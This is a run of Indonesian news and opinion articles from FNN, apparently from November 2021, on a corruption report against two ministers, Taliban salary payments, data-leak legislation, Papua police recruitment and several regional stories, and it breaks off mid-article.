Oleh: Mochamad Toha SETELAH sehari sebelumnya sempat ditolak, akhirnya Laporan Jaringan Aktivis Pro Demokrasi (ProDEM) kepada Menteri Koordinator Kemaritiman dan Investasi (Menko Marves) Luhut Binsar Pandjaitan dan Menteri BUMN Erick Thohir diterima oleh Sentra Pelayanan Kepolisian Terpadu (SPKT) Polda Metro Jaya. Hal itu berdasarkan Surat Tanda Terima Laporan Polisi (STTLP) bernomor B/5734/XI/2021/SPKT/Polda Metro Jaya tertanggal 16 November 2021. Ketua Majelis ProDEM Iwan Sumule melaporkan Luhut Binsar Pandjaitan dan Erick Thohir dengan sangkaan melakukan perbuatan melawan hukum yakni berbuat Korupsi, Kolusi dan Nepotisme (KKN). Dengan sangkaan Pasal 5 angka 4 junto Pasal 21 dan 22 UU 28/1999 Tentang Penyelenggaraan Negara yang Bersih dan Bebas dari KKB. Dengan diterimanya laporan terhadap Luhut dan Erick ini, Iwan Sumule mengapresiasi Polda Metro Jaya yang, menurutnya, sangat menerapkan equality before the law atau kesamaan di hadapan hukum. “Kami sangat mengapresiasi Polda Metro Jaya karena telah memperlihatkan bahwa ada kesamaan kedudukan dalam hukum, di depan hukum antara Prodem dan juga bapak Luhut Binsar Pandjaitan,” tegas Iwan Sumule pada wartawan di Mapolda Metro Jaya, Selasa sore (16/11/2024). Menurut Iwan Sumule, dugaan kolusi dan nepotisme ini didasarkan pada kenyataan bahwa PT Genomik Solidaritas Indonesia (GSI) mendapat proyek Polymerase Chain Reaction (PCR). Dalam pandangan Iwan Sumule, Luhut mendapatkan proyek PCR tidak lepas dari adanya kepemilikan saham Luhut dan dugaan keterhubungan dengan Erick Thohir. Apalagi perusahaan itu baru berdiri pada April 2020 atau tak lama setelah pandemi dinyatakan masuk Indonesia. “Luhut sudah akui dia ada di perusahaan yang ada di bisnis PCR. Kami aktivis terluka, karena salah satu poin tuntutan reformasi adalah pemerintahan yang bersih dari KKN,” tutupnya. Menurut Iwan Sumule, unsur KKN dalam praktik bisnis PCR dan swab antigen ini sudah memenuhi ketika Luhut mengakui dirinya memang memiliki saham pada PT GSI. “Pak Luhut sudah mengakui, bahwa ia ada di dalam PT GSI yang mendapat proyek pengadaan PCR. Nah Artinya unsur yang memenuhi KKN itu sudah memenuhi dan jelas,” kata Iwan Sumule. Disamping itu, lanjut Iwan, pihaknya terpaksa melaporkan kedua menteri Presiden Joko Widodo ini lantaran dianggap telah mengkhianati cita-cita perjuangan reformasi. Iwan Sumule mengatakan, cita-cita perjuangan reformasi yang dianggap fundamental ialah menuntut agar penyelenggara negara yang bersih dan terbebas dari KKN. “Makanya kami ke Polda. Kami melaporkan (Luhut dan Erick) soal KKN-nya yang juga merupakan tindakan pidana,” tegas Iwan Sumule. Pertanyaannya sekarang, mungkinkah Polda berani “melanjutkan” laporan Iwan Sumule ini hingga ke Kejaksaan dan Pengadilan? Jika melihat betapa kuatnya “pengaruh” Luhut selama ini, rasanya tidak mungkin! Coba saja lihat reaksi Luhut beberapa waktu lalu saat dilaporkan ke Komisi Pemberantasan Korupsi (KPK) oleh Partai Rakyat Adil Makmur (Prima) atas dugaan keterlibatannya dalam bisnis tes PCR. Menanggapi adanya laporan tersebut, Luhut mengaku bahwa dirinya dan KPK justru tertawa melihat laporan tersebut. Ini karena Luhut membantah tegas bahwa dirinya terlibat dalam bisnis tes PCR dan meraup keuntungan dalam bisnis tersebut. “Kita bersoal yang gak penting gitu, ada yang bilang lapor KPK, ya laporin aja wong KPK dan kami juga rapat di kantor, saya sama KPK ketawa-tawa, ya gak masuk akal aja,” kata Luhut, dikutip dari YouTube Deddy Corbuzier. Ia juga mengaku sedih lantaran banyak orang yang justru dengan sengaja memanaskan suasana dengan menyebarkan fitnah keterlibatannya dalam bisnis tes PCR. “Saya sedihnya juga kadang-kadang kita itu gak mendidik anak muda kita untuk berpikir jernih, senang buat gosip yang bikin keruh,” ujar Luhut. Ia juga menegaskan dirinya tidak pernah sama sekali menerima keuntungan dari bisnis tes PCR. Ia bahkan mengaku bahwa sebagai seorang pejabat negara, ia tidak akan mengambil keuntungan diatas penderitaan rakyat. “Saya juga gak habis pikir kalau saya sebagai pejabat negara mau ambil untung dari masalah kemanusiaan, perusahaan saya cukup bagus kok,” kata Luhut. Menurutnya, uang pensiunan tentara dan pendapatannya sebagai seorang pengusaha sudah lebih dari cukup. Luhut menegaskan, ia tidak mungkin berani mengambil keuntungan pribadi di atas misi kemanusiaan. “Cukup lah pensiunan tentara itu lebih dari cukup, cukup, gak perlu (ambil keuntungan), sangat tidak perlu,” tandasnya. Coba tengok data yang ada di KPK atas Laporan Harta Kekayaan Pejabat Negara (LHKPN) Luhut. Ia menjadi salah satu pejabat yang harta kekayaannya meningkat selama pandemi Covid-19. Kekayaannya bertambah Rp 67.747.603.287. Dalam laporan pada 24 Maret 2021, total harta kekayaan Luhut mencapai Rp 745.188.108.997. Luar biasa, bukan? Luhut memang pejabat kaya! Luhut juga menduga bahwa adanya kabar dirinya terlibat bisnis tes PCR ini sengaja ‘digoreng’ orang-orang tertentu yang berniat menjatuhkan dirinya. “Saya mau bilang ini ada mungkin orang jahat hatinya, ada mungkin faktor politik, kecemburuan pada kelompok pemerintah keliatan sukses ya banyak faktornya,” ungkapnya. Namun, tampaknya Prima tidak putus asa. Pada Rabu (17/11/2021), Prima kembali mendatangi KPK. Tujuannya untuk menagih soal perkembangan laporan kasus dugaan korupsi terkait bisnis tes usap PCR. Wakil Ketua Prima Alif Kamal mengaku kedatangannya tidak membawa dokumen tambahan ke KPK. Ia hanya menagih hasil telaah maupun kajian yang dilakukan KPK terkait dugaan korupsi bisnis PCR. "Enggak ada tambahan dokumen, kami hanya ingin menagih telaah awal seperti yang mereka janjikan kepada publik," kata Alif Kamal di Gedung Merah Putih KPK, Kuningan, Jakarta Selatan, Rabu (17/11/2021). Alif menyebut, sebelumnya KPK juga telah menyampaikan pernyataannya akan menindaklanjuti bila ada laporan masyarakat terkait dugaan korupsi ini. "Kemarin kan KPK juga kan sudah menyatakan sikap akan mengusut tuntas soal kasus PCR ini," ucap Alif. Alif menyebut menagih perkembangan terkait dugaan korupsi bisnis PCR ini, kata Alif, dilakukannya dengan mengirim surat ke bagian persuratan Direktorat Pengaduan Masyarakat (Dumas) KPK. "Sudah diterima surat kami di bagian persuratan. Semoga tidak lama kami bisa melihat kejelasan soal dugaan bisnis pcr ini," kata Alif. Ketika menyampaikan surat, Alif juga mengaku tidak ada pihak KPK yang meminta untuk memberikan data apapun terkait laporannya itu. “Belum ada permintaan data atau segala macam,” imbuhnya Alif menyebut salah satu alasanya membuat laporan lantaran banyaknya pemberitaan di sejumlah media terkait dugaan Luhut dan Erick berbisnis PCR. "Kami ingin melaporkan desas desus di luar, ada dugaan beberapa menteri yang terkait dengan bisnis PCR terutama kalau yang sudah disebut banyak media itu adalah Menko Marves dan Menteri BUMN, Luhut dan Erick,” kata Alif, Kamis (4/11/2021). KPK sendiri melalui Direktur Penyidikan KPK Setyo Budhianto menyebut laporan dalam bentuk surat yang dilampirkan oleh Prima kini tengah ditindaklanjuti di bagian Direktorat Pengaduan Masyarakat. "Suratnya, berdasarkan pengecekan sudah diterima bagian persuratan tentunya ini akan melalui mekanisme dan akan diterima oleh direktorat dumas dan ditelaah," beberapa waktu lalu. Setyo pun menjelaskan proses penerimaan laporan dari setiap masyarakat. Salah satunya, dengan dilakukan telaah apakah laporan itu merupakan kewenangan KPK. "Pertama penelaahannya tentu terkait kewenangan, apakah informasi itu atau laporan merupakan kewenangan KPK sesuai undang-undang KPK pasal 11. Itu dulu yang penting," ucap Budhi. Nah, seperti halnya laporan Iwan Sumule ke Polda Metro Jaya, kita tunggu saja buktinya di KPK. Penulis Wartawan FNN.co.id

Taliban Mulai Bayar Gaji Pegawai Negeri Afghanistan

Kabul, FNN - Pemerintahan Taliban mulai Sabtu membayarkan gaji para pegawai negeri Afghanistan yang tertunda beberapa bulan, kata para pejabat setempat. Ribuan pegawai negeri Afghanistan setidaknya sudah selama tiga bulan terakhir tidak menerima gaji. Keadaan itu merupakan salah satu dari sekian banyak krisis yang dihadapi Taliban sejak kelompok tersebut mengambil alih kekuasaan pada Agustus. "Kementerian keuangan mengatakan bahwa mulai hari ini, gaji tiga bulan terakhir yang menjadi hak semua pegawai negeri dan staf akan dibayarkan secara penuh," kata Juru Bicara Taliban Zabihullah Mujahid melalui Twitter. Belum ada kejelasan dari mana Pemerintahan Taliban mendapatkan dana untuk membayar gaji-gaji yang tertunda. Bahkan sebelum Taliban merebut kekuasaan pada Agustus, banyak pegawai sektor publik mengatakan mereka sudah berminggu-minggu belum menerima gaji. Setelah Taliban berkuasa, dana miliaran dolar AS milik Pemerintah Afghanistan yang berada di Amerika Serikat dan Uni Eropa dibekukan. Pemerintah negara-negara asing belum mau menyalurkan dana secara langsung untuk membantu Pemerintahan Afghanistan pimpinan Taliban memenuhi kewajiban-kewajiban finansial, seperti pembayaran gaji para pegawai negeri. Lembaga-lembaga keuangan internasional juga menghentikan pendanaan bagi pemerintahan di Afghanistan. Setelah utusan-utusan khusus Jerman dan Belanda melakukan pertemuan dengan para pejabat Taliban di Kabul pada Kamis (18/11), para utusan menyatakan bersedia untuk membahas pembayaran gaji para pegawai sektor kesehatan dan pendidikan melalui berbagai organisasi internasional. Belum jelas apakah kesediaan negara-negara itu ada kaitannya dengan pengumuman yang dikeluarkan Taliban pada Sabtu. Jubir Taliban lainnya, Inamullah Samangani, mencuit di Twitter pada Sabtu bahwa pendapatan harian yang dikumpulkan oleh Pemerintah Taliban sudah meningkat setiap hari. "Kementerian Keuangan mengatakan bahwa dalam 78 hari kerja pada tiga bulan terakhir ini, kami telah mengumpulkan pendapatan sekitar 26,915 miliar afghani (288 juta dolar AS)," katanya. Jumlah uang yang ia sebutkan itu setara dengan Rp4,18 triliun. Samangani, yang mengutip keterangan Kementerian Keuangan, menambahkan bahwa uang pensiun para pegawai negeri juga akan segera mulai dibayarkan. (sws, Reuters)

Mantan Kabais: Perlu Sanksi Bagi Institusi Yang Datanya Bocor

Jakarta, FNN - Mantan Kepala Badan Intelijen Strategis (Kabais) TNI Laksmana Muda TNI (Purn.) Soleman B Ponto mengatakan aturan sanksi perlu diberikan pada institusi pengumpul data pribadi yang mengalami kasus kebocoran data sebagaimana diatur RUU Perlindungan Data Pribadi. “Di sini permasalahannya, begitu banyak kasus kebocoran data pribadi yang ada, tapi yang dihukum pencuri, sedangkan pengumpul ini aman-aman saja. Pengumpul harus punya kewajiban untuk melindungi data itu,” ujar Soleman B Ponto. Pendapat itu ia sampaikan saat menjadi narasumber dalam webinar nasional Universitas Katolik Parahyangan Bandung bertajuk “Urgensi RUU Perlindungan Data Pribadi dan Kaitannya dengan Peristiwa Kebocoran Data BPJS” yang disiarkan langsung di kanal YouTube UNPAR OFFICIAL, dipantau dari Jakarta, Sabtu. Penyebab kebocoran data, lanjut Soleman, tidak disebabkan oleh peretas yang cerdas, tetapi cenderung karena pengamanannya yang lemah. Ia kemudian mengibaratkan pengamanan yang lemah itu, seperti pemilik toko emas yang mengunci pintu dengan tali rafia sehingga pencuri lebih mudah masuk kedalam. “Kalau toko emas pintunya dikunci pakai tali rafia sehingga maling gampang masuk, siapa yang salah? Nah, ini situasi yang terjadi di kita sekarang,” tambah Soleman. Sejauh ini, ujarnya, institusi pengumpul data merasa ikut menjadi korban sehingga merasa tidak sepatutnya dihukum. Padahal, menurutnya, institusi pengumpul data bukanlah korban di dalam kasus kebocoran data. Yang merupakan korban sebenarnya adalah masyarakat yang menitipkan dan diwajibkan menyerahkan data pribadi mereka. Soleman mengatakan Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik (ITE) belum mengatur sanksi terhadap institusi pengumpul data. Pasal 31 UU ITE terbatas mengatur hukuman bagi setiap orang dengan sengaja dan tanpa hak melawan hukum melalui perbuatan intersepsi atau penyadapan atas informasi elektronik dan/atau dokumen elektronik dalam suatu komputer dan/atau sistem elektronik tertentu milik orang lain. Dengan demikian, ia berharap keberadaan undang-undang perlindungan data pribadi yang mengatur tentang hukuman bagi para pengumpul data pribadi dapat segera diwujudkan. “Itulah pentingnya keberadaan undang-undang perlindungan data pribadi untuk segera diwujudkan secepatnya,” kata Soleman B Ponto. (sws, ant)

Tidak Perang Tidak Damai, Biden-Jin Ping 3,5 Jam

Oleh Ridwan Saidi APA yang kurang dari Indonesia, punya Mandalika, yang kata buzzer terhebat di dunia. Tapi hampa penonton. Lalu muncul stadion di Sunter, tak kalah hebat dengan Madrid. Madrid Sunter lokasi dekat Gedong Rubu, goa yang roboh karena erosi sodetan Kali Sunter. Sunter artinya air. Madrid Sunter sebulan lagi klaar. Tapi akses ke stadion masih dalam pergulatan pemikiran escatologis dan teknis. Apa yang kurang dari kita? Tabib Prof. Fachrudin ahli herbal Sawah Besar, Jakarta Pusat, sejak 1950-an telah berkata: Nafsu besar tenaga kurang, ibarat bubuk makan kayu. Minumlah pil Jarianol. Kok Amerika beda sih? Seorang gadis téngténg gitar berdiri di tepi jalan dan ia lantunkan sebuah hit dari Gloria Gaynor I will survive. Lalu orang satu-satu menghentikan langkah. Akhirnya ratusan. Itu setiap hari. Itulah Allie Sherlock, street singer. Cantik jangan ditanya, tapi warna vokalnya tiada dua. Ia keliling Eropa. Buka YouTube, tak ada panel tanpa Allie. Musisi beken gantian ke jalan mendampingi Allie. Itulah spirit of frontier yang bersemi di dada Allie. Sedangkan kebanyakan kita asyik berayun-ayun bersama dongeng dan sekali-sekala membaui aroma kemenyan di kuburan orang yang sakti gak kira-kira. VOA melaporkan pertemuan virtual Presiden USA Biden dan Presiden China Jin Ping selama 3,5 jam beberapa hari lalu, dan tidak menghasilkan kesepakatan apa-apa yang tetkait soal-soal dasar yang dipertikaikan dua negara, melainkan keduanya sepakat tidak gunakan senjata pemusnah massal. Situasi tidak perang tidak damai, sesuai spirit of frontier, tidak disukai USA. Empirik tahun 1967, dia dobrak juga Mesir. Tentu ini tak mengenakkan dunia Islam. Perang Amerika vs China tentu meletus, be sure of this. Perang akan nengimbas negara sekitar, termasuk Indonesia. Copras capres? Better U forget it. Whether U like it or not. It can be understood kalau beberapa orang beken Indonesia pergi ke USA. Mungkin urusan berobat, mungkin ada yang bertobat, mungkin ada juga yang eratkan bersahabat. Saya ingat Chairil Anwar, kami sempat tinggal bersebelahan rumah di Sawah Besar. Saat itu aku masih kecil. Kukutip sebait sajaknya; Cemara berderai sampai jauh//Terasa hari menjadi akan malam//Ada beberapa dahan ditingkap merapuh//Dipukul angin yang terpendam. *) Budayawan

Nepotisme Terang-terangan, Kapolda Papua Akui Utamakan Rekrutmen Anak Anggota Polri

Jayapura, FNN - Kapolda Papua Irjen Pol Mathius Fakhiri mengakui dalam penerimaan calon bintara 2021 lebih mengutamakan anak anggota Polri terutama yang lahir dan besar di Papua. Upaya itu dilakukan sebagai bentuk apresiasi terhadap orang tua yang sudah mengabdikan diri dan bertugas di Papua, selain itu juga anak dari tokoh agama serta masyarakat. "Kami bersyukur upaya itu disambut baik Gubernur Papua sehingga dibantu menggunakan dana otonomi khusus namun kalian bukan polisi otsus tetapi polisi RI, " tegas Kapolda saat bertemu dengan 75 siswa calon bintara yang dididik di SPN Tjilik Riwut Palangkaraya, Sabtu. Kapolda Papua pada kesempatan itu berharap agar ke 75 siswa yang saat ini dilatih di SPN Tjilik Riwut dan sebagian besar anak anggota Polri senantiasa menjaga nama baik hingga selesai pendidikan yang tinggal menghitung hari. Setelah pelantikan yang dijadwalkan tanggal 22 Desember mendatang kalian akan kembali ke Papua dan sebelum penempatan di polres pengirim terlebih dahulu mengikuti pelatihan. Dengan direkrutnya para pemuda dari kabupaten di Papua diharapkan ke depan tidak ada lagi kekerasan karena polisi yang bertugas berasal dari daerah itu dan memahami adat istiadat di daerahnya. "Mudah-mudahan tidak ada lagi kekerasan sehingga pembangunan dapat dikerjakan dan hasilnya dirasa masyarakat," harap Kapolda Papua Irjen Pol Fakhiri. SPN Tjilik Riwut Palangkaraya saat ini mendidik 380 siswa dan 75 siswa diantaranya merupakan pengiriman Polda Papua. (sws, ant)

Kapolda Papua Akui Utamakan Rekrutmen Anak Anggota Polri

Jayapura, FNN - Kapolda Papua Irjen Pol Mathius Fakhiri mengakui dalam penerimaan calon bintara 2021 lebih mengutamakan anak anggota Polri terutama yang lahir dan besar di Papua. Upaya itu dilakukan sebagai bentuk apresiasi terhadap orang tua yang sudah mengabdikan diri dan bertugas di Papua, selain itu juga anak dari tokoh agama serta masyarakat. "Kami bersyukur upaya itu disambut baik Gubernur Papua sehingga dibantu menggunakan dana otonomi khusus namun kalian bukan polisi otsus tetapi polisi RI, " tegas Kapolda saat bertemu dengan 75 siswa calon bintara yang dididik di SPN Tjilik Riwut Palangkaraya, Sabtu. Kapolda Papua pada kesempatan itu berharap agar ke 75 siswa yang saat ini dilatih di SPN Tjilik Riwut dan sebagian besar anak anggota Polri senantiasa menjaga nama baik hingga selesai pendidikan yang tinggal menghitung hari. Setelah pelantikan yang dijadwalkan tanggal 22 Desember mendatang kalian akan kembali ke Papua dan sebelum penempatan di polres pengirim terlebih dahulu mengikuti pelatihan. Dengan direkrutnya para pemuda dari kabupaten di Papua diharapkan ke depan tidak ada lagi kekerasan karena polisi yang bertugas berasal dari daerah itu dan memahami adat istiadat di daerahnya. "Mudah-mudahan tidak ada lagi kekerasan sehingga pembangunan dapat dikerjakan dan hasilnya dirasa masyarakat," harap Kapolda Papua Irjen Pol Fakhiri. SPN Tjilik Riwut Palangkaraya saat ini mendidik 380 siswa dan 75 siswa diantaranya merupakan pengiriman Polda Papua. (mth)

Kota Bogor Siap Jadi Tuan Rumah Kongres Ke-V JKPI

Kota Bogor, FNN - Pemerintah Kota Bogor menyatakan siap menjadi tuan rumah penyelenggaraan Kongres ke-V Jaringan Kota Pusaka Indonesia (JKPI) sekaligus peluncuran Ibu Kota Kebudayaan pada 2-5 Desember 2021. Dalam rilis yang diterima ANTARA di Kota Bogor, Sabtu, 20 November 2021, para pencetus JKPI pada 2008, antara lain Presiden Republik Indonesia Joko Widodo, Menteri Pendidikan, Kebudayaan, Riset, dan Teknologi (Mendikbudristek) Nadiem Makarim, Menteri Pariwisata dan Ekonomi Kreatif (Menparekraf) Sandiaga Salahudin Uno, sejumlah gubernur dan delegasi diundang dalam kongres tersebut. “Untuk persiapannya sudah dilakukan jauh-jauh hari sesuai dengan standar baku acara JKPI, baik kongres maupun rakornas dan seminar,” kata Kepala Dinas Pariwisata dan Kebudayaan (Disparbud) Kota Bogor, Atep Budiman. Atep mengatakan telah berkoordinasi dengan Direktur Eksekutif JKPI untuk acara Pra kongres di Aceh sebagai bagian dari persiapan kongres. Saat ini panitia yang dipimpin Asisten Pembangunan dan Kesejahteraan Rakyat Setda Kota Bogor, Dody Ahdiat sedang mempersiapkan rangkaian acara, termasuk beberapa venue dan detail acara kongres. “Kemarin di depan Pak Wali, kita sudah mempresentasikan kesiapan menjelang 2 Desember nanti. Alhamdulillah secara umum direspon positif oleh beliaui sesuai apa yang diharapkan sebagai tuan rumah Kongres,” jelasnya. Wali Kota Bogor Bima Arya pun, kata Atep, berpesan agar identitas Kota Bogor sebagai Kota Cerdas (Smart City), Kota Hijau (Green City) dan Kota Pusaka (Heritage City) ditonjolkan. Kadisparbud itu menjelaskan, untuk agenda utama Kongres JKPI adalah akan memilih dewan presidium dan pengurus untuk masa bakti 2022-2024. Pada Kamis, 2 Desember 2021 peserta delegasi akan disambut di Balai Kota Bogor oleh Wali Kota Bogor, Wakil Wali Kota Bogor dan sejumlah pejabat Pemkot Bogor. “Malamnya ada welcoming dinner di area Gedung Eks Bakorwil atau di Bogor Creative Center (BCC) dan acara pameran,” katanya. Selanjutnya, pada tanggal 3 dan 4 Desember ada pagelaran seni yang juga digelar di area Gedung Eks Bakorwil atau di Bogor Creative Center. Kemudian 4 Desember ada City Tour mengunjungi ke beberapa tempat di Kota Bogor, seperti ke Batutulis. Setelah itu, pada malam hari gala dinner dan karnaval di area hall basket GOR Pajajaran. Di hari Minggu, 5 Desember acara Kongres ke-V JKPI akan dilaksanakan di Puri Begawan yang rencananya dihadiri Mendikbudristek Nadiem Makarim dan Menparekraf Sandiaga Salahudin Uno. Pihaknya juga berencana akan memberikan penghargaan kepada penggagas JKPI, di antaranya Joko Widodo dan Tri Rismaharini. Setelah kongres Atep menyampaikan akan ada Rakernas JKPI presidium terpilih dengan para anggota, pengurus, dan dewan eksekutif. Rakernas JKPI merumuskan program-program selanjutnya termasuk persiapan rakernas berikutnya di Kota Pelembang. (MD).

Sulsel Ditargetkan Jadi Sentra EBT di Indonesia

Makassar, FNN - Pelaksana tugas Gubernur Sulawesi Selatan Andi Sudirman Sulaiman mengatakan, Sulsel ditargetkan menjadi sentra Energi Baru (EBT) sebagai energi alternatif di Indonesia. "EBT di Sulsel sudah di atas 20 persen, bahkan sekarang 23 persen untuk alternatif energi dan ini terbesar di Indonesia," kata Sudirman di Makassar, Sabtu, menanggapi potensi EBT di Sulsel. Dia mengatakan, sistem kelistrikan Sulsel melalui Pembangkit Listrik Tenaga Bayu (PLTB) di dua lokasi yakni Kabupaten Sidrap dan Jeneponto memiliki daya mampu sebesar 130 Mega Watt (MW), terdiri dari PLTB Sidrap 70 MW dan PLTB Tolo 60 MW. Dengan potensi EBT tersebut, lanjut dia, bertujuan mendukung Indonesia dalam rangka menekan emisi gas karbon. Apalagi pada 2025 Indonesia ditargetkan mencapai 23 - 25 persen bauran energi. Dengan demikian pada 2025 diharapkan Indonesia sudah menggunakan EBT sekitar 25 persen, sementara energi fosil diturunkan penggunaannya. Potensi kelistrikan selain PLTB Jeneponto dan Sidrap, lanjut Sudirman, pihakya baru-baru ini sudah menandatangani perjanjian nota kesepahaman (MoU) dengan PLN untuk pengadaan daya listrik 200 MW yang sebelumnya sudah ada over suplai sekitar 580 MW. "Juga investor asal Jepang juga sudah menyatakan siap siap memasang solar sistem di kawasan Danau Tempe, Sengkang," katanya sembari mengimbuhkan. Termasuk sudah menandatangani MoU untuk investasi senilai Rp25 triliun untuk mendukung pengadaan EBT di wilayah kepulauan di Sulsel yang terdiri sekitar 300 pulau dan 200 pulau diantaranya berpenghuni. Sementara itu, Kabid Energi Baru Terbarukan dan Kelistrikan, Dinas Energi Sumber Daya Mineral (ESDM) Sulsel Amrani S Suhaeb mengatakan, bauran energi di Sulsel sudah diatas nasional. Dia mengatakan, bauran energi di daerah ini sejak awal sudah lebih tinggi didukung sumber daya air, ada PLTA Bakaru, dan Larona yang mampu mengalahkan PLTD Tello. (mth)

KSP 45 Desa Wisata Lombok Siap Sambut Wisatawan WSBK

Jakarta, FNN - Kantor Staf Presiden menyampaikan sedikitnya 45 desa wisata di Lombok sudah siap menyambut wisatawan dari berbagai penjuru dunia yang menghadiri ajang World Super Bike (WSBK) di Mandalika, Lombok, Nusa Tengara Barat. “Presiden mendorong agar desa memiliki daya ungkit ekonomi dengan mengangkat potensi masing-masing, termasuk pariwisata. Nah dalam verifikasi lapangan yang dilakukan di Lombok tengah, kami melihat hal ini sudah berjalan sesuai arahan Presiden. Kunjungan ke desa wisata meningkat tajam, yang pastinya akan menggerakkan ekonomi masyarakat desa," kata Tenaga Ahli Utama Kantor Staf Presiden (KSP) Albertien Enang Pirade dalam siaran pers KSP, di Jakarta, Sabtu, 20 November 2021. KSP berharap agar ajang internasional WSBK 2021 yang saat ini sedang berlangsung di Sirkuit Balap Internasional Mandalika di Kabupaten Lombok Tengah, Nusa Tenggara Barat, mampu menghasilkan dampak berkelanjutan bagi perekonomian daerah, terutama pada sektor ekonomi rakyat. Termasuk juga perhelatan MotoGP yang akan berlangsung di sirkuit tersebut pada tahun 2022. Secara umum, desa-desa wisata tersebut mendapat pembinaan baik dari Dinas Pariwisata Provinsi, maupun dari Dinas Pariwisata kabupaten/kota. Kepala Bidang (Kabid) Pengembangan Destinasi Pariwisata NTB Ahlul Wakti mengatakan bahwa geliat ekonomi dampak dari ajang World Super Bike berkembang signifikan. Pergerakan pariwisata terlihat sangat nyata setelah hampir semua sektor pariwisata berhenti karena pandemi Covid-19. “Hotel-hotel sudah full, termasuk desa-desa wisata ada peningkatan penjualan dari produk-produk wisatanya seperti suvenir dan atraksi,” kata Ahlul, sebagaimana dikutip dari Antara. Ia pun berharap agar efek dari sport tourism ini tidak hanya terbatas dirasakan oleh masyarakat di Kabupaten Lombok Tengah, tapi merata ke masyarakat NTB di kabupaten lainnya. WSBK adalah ajang balapan internasional yang berlangsung di Sirkuit Mandalika pada 19-21 November 2021. Sedangkan MotoGP Indonesia baru akan digelar pada Maret 2022. (MD).

Ketua DPRK Banda Aceh Bantu Kursi Roda untuk Warga Membutuhkan

Banda Aceh, FNN - Ketua Dewan Perwakilan Rakyat Kota (DPRK) Banda Aceh Farid Nyak Umar menyerahkan bantuan kursi roda kepada sejumlah warga setempat yang membutuhkan, melalui dana pokok pikiran (pokir) dewan. "Setidaknya bantuan kursi roda ini bisa mengurangi beban para bapak ibu, semakin mudah beraktivitas," kata Farid Nyak Umar, di Banda Aceh, Sabtu. Farid mengatakan, bantuan tersebut diharapkan dapat dipergunakan untuk memudahkan aktivitas para penerimanya yang sedang dalam kondisi tidak sehat. Farid menyampaikan, bantuan itu dialokasikan pada Dinas Sosial Banda Aceh tahun anggaran 2021 setelah dirinya mendapatkan aspirasi dari masyarakat saat mengadakan reses di sela-sela masa persidangan. “Jadi ada masyarakat yang menyampaikan permohonan bantuan kursi roda, baik itu melalui dinas, sehingga kemudian saya mengadvokasi untuk dianggarkan melalui dana pokir, kemudian diberikan kursi roda ini melalui dinas dan dibagikan hari ini,” ujar politikus PKS itu. Farid menegaskan, meski DPRK tidak mengelola anggaran, namun bantuan tersebut dapat dimasukkan melalui program pokok pikiran dewan pada dinas terkait. Dari jumlahnya, kata Farid, memang belum memadai sesuai kebutuhan, tetapi ke depan akan terus ditingkatkan. Dirinya berharap bantuan kursi roda itu bisa benar-benar bermanfaat bagi warga membutuhkan. Sementara itu, Kepala Dinas Sosial Banda Aceh Hidayat menyampaikan tahun ini pihaknya memberikan sepuluh unit kursi roda kepada masyarakat. Angka ini belum mengakomodir semua permintaan karena banyaknya permohonan kursi roda. “Tentu bantuan ini belum mencukupi, karena setiap tahunnya banyak masyarakat kita yang mengajukan permohonan kursi roda, sekitar dua sampai tiga puluh kursi, ke depan akan terus ditingkatkan,” kata Hidayat. Salah seorang keluarga penerima, Mukhlas Syah mengucapkan terima kasih kepada pemerintah kota dan Ketua DPRK Banda Aceh karena telah memberikan bantuan tersebut. “Ini sangat bermanfaat bagi keluarga kami, dengan adanya bantuan seperti ini tentu akan sangat memudahkan kami dalam mengurus orang tua kami,” demikian Mukhlas. (mth)

Wali Kota Pekan Kuliner Kondang Ajarkan UMKM Melek Digital

Medan, FNN - Wali Kota Medan, Sumatera Utara, Bobby Nasution menyebut pekan kuliner kondang usaha mikro, kecil dan menengah (UMKM) Kota Medan mengajarkan pelaku UMKM melek digitalisasi. "Ini bayarnya cashless (nontunai) ya. Jadi bisa via QRIS. Ada diskon up to (hingga) 60 persen juga," kata Bobby Nasution di Medan, Sabtu, 20 November 2021. Sejatinya, lanjut Bobby, salah satu maksud digelarnya kembali kesawan city walk (KCW) bersamaan pekan kuliner kondang (PKK) UMKM untuk mengedukasi masyarakat akan digitalisasi. Meski begitu diminati masyarakat Medan, Bobby Nasution mewanti-wanti pelaksanaan even ini benar-benar taat protokol kesehatan, dan pengunjung maupun pelaku UMKM harus sudah divaksin. Seperti diketahui, pertunjukan mapping (penataan) visual berlatar Gedung Warenhuis menandai dibukanya kesawan city walk dan pekan kuliner kondang UMKM Kota Medan, Jumat, 19 November 2021 malam. Wali Kota Medan Bobby Nasution bersama istri Kahiyang Ayu tampak hadir. Bobby sempat melihat-lihat stan yang berjumlah 60 unit dengan beragam kuliner sebelum menyaksikan pertunjukan maping visual. Selain itu, wali kota menegaskan, lokasi KCW dan PKK UMKM Kota Medan dari Jalan Ahmad Yani hingga Gedung Warenhuis di Jalan Hindu bisa menampung sebanyak 3.500 orang pengunjung. "Kita batasi hanya maksimal 2.000 pengunjung. Itu bisa kita cek lewat aplikasi peduli lindungi. Itu wajib ya. Masyarakat datang sudah vaksin, dan harus dicek peduli lindungi. Prokes ketat," tegas Bobby, sebagaimana dikutip dari Antara. Ina Nasution, peserta stan kuliner yang menjual masakan khas Jepang di PKK UMKM Kota Medan mengaku lebih suka menerima transaksi nontunai dari pengunjung. "Apalagi ini lagi pandemi kan, lebih aman nontunai. Jadi even ini pas sekali, kita UMKM bisa kembali aktif. Alhamdulillah, lima jam saja sudah laku hampir 30 porsi," katanya. (MD).

Ong/Teo Bangga Bisa Berlaga hingga Semifinal Indonesia Masters

Nusa Dua, FNN - Ganda putra asal Malaysia Ong Yew Sin/Teo Ee Yi, yang dikalahkan Kevin Sanjaya Sukamuljo/Marcus Fernaldi Gideon pada semifinal Indonesia Masters 2021 di Nusa Dua, Bali, Sabtu mengaku bangga dan menilai hasil yang diraih sudah yang terbaik dan memuaskan. Bagi mereka, bisa mencapai babak empat besar merupakan perkembangan pesat dalam performa mereka dan hanya butuh perbaikan dalam sejumlah hal. "Meskipun kalah, bisa tampil ke semifinal itu sudah merupakan hasil yang bagus. Hanya saja kami bermain kurang konsisten di pertandingan tadi," kata Ong di Nusa Dua, Bali. Ganda putra peringkat 14 ini kalah dari Minions dengan skor 21-18, 17-21, 11-21 dalam pertarungan selama 58 menit. Setelah pertandingan, kedua pemain yang sudah enam kali bertemu Minions ini mengaku mendapat banyak pelajaran dan pengalaman setelah dikalahkan ganda putra peringkat satu untuk keenam kalinya. "Kami berusaha bermain menyerang, tetapi kami sulit keluar dari tekanan. Ke depan kami harus bisa bermain lebih 